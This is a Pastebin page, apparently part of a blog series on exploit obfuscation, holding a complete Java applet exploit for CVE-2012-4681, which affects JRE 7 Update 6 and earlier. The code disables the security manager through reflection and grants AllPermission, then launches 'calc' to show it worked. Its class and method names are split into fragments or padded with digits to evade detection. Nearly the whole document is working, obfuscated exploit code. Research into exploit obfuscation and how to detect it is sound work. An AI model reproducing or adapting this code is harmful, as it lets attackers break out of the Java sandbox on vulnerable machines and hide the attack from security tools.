SHARE
TWEET

Java 7 Exploit CVE-2012-4681 obfuscation pt. 2/5

SecurityObscurity Nov 15th, 2012 532 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2.  *  Java 7 Exploit CVE-2012-4681 obfuscation pt. 2/5
  3.  *  
  4.  *  Affected product versions:
  5.  *  - JDK and JRE 7 Update 6 and before
  6.  *
  7.  * Post link: http://security-obscurity.blogspot.com/2012/11/java-exploit-code-obfuscation-and.html
  8.  */
  9. import java.applet.Applet;
  10. import java.awt.Graphics;
  11. import java.beans.Expression;
  12. import java.beans.Statement;
  13. import java.lang.reflect.Field;
  14. import java.net.URL;
  15. import java.security.*;
  16. import java.security.cert.Certificate;
  17.  
  18. public class Java extends Applet
  19. {
  20.     String secMan = "22s234e34523454tS345e334545c345u5356r67i6t6y4354834M90a6n4a4g345e34r34";
  21.     char sun[] = {'s','u','n','.','a','w','t','.','S','u','n','T','o','o','l','k','i','t'};
  22.     char file[] = {(char)102,(char)105,(char)108,(char)101,(char)58,(char)47,(char)47,(char)47}; // file
  23.     String   ad = "or",me = "me", aw = "f", kl = "Na"; // forName
  24.     String field = "789g8795e456"+"5t5765F5675"+"567i6765e756"+"567l567d567"; // getField
  25.  
  26.     public void enableSecurity() throws Throwable
  27.     {
  28.         Statement localStatement = new Statement(System.class, secMan.replaceAll("\\d",""), new Object[1]);
  29.         Permissions localPermissions = new Permissions();
  30.         localPermissions.add(new AllPermission());
  31.         ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL(new String(file)), new Certificate[0]), localPermissions);
  32.         AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
  33.             localProtectionDomain
  34.         });
  35.        
  36.         Object arrayOfObject[] = new Object[2];
  37.         arrayOfObject[0] = Statement.class;
  38.         arrayOfObject[1] = "a"+"c"+"c";
  39.         Expression localExpression = new Expression(GetClass(new String(sun)), field.replaceAll("\\d",""), arrayOfObject);
  40.         localExpression.execute();
  41.         ((Field)localExpression.getValue()).set(localStatement, localAccessControlContext);
  42.        
  43.         localStatement.execute();
  44.     }
  45.  
  46.     public void init()
  47.     {
  48.         try
  49.         {
  50.             enableSecurity();
  51.             Runtime.getRuntime().exec("calc");
  52.         }
  53.         catch(Throwable t){}
  54.     }
  55.    
  56.     private Class GetClass(String paramString) throws Throwable
  57.     {
  58.         Object arrayOfObject[] = new Object[1];
  59.         arrayOfObject[0] = paramString;
  60.         Expression localExpression = new Expression(Class.class, aw+ad+kl+me, arrayOfObject);
  61.         localExpression.execute();
  62.         return (Class)localExpression.getValue();
  63.     }    
  64. }
RAW Paste Data
Top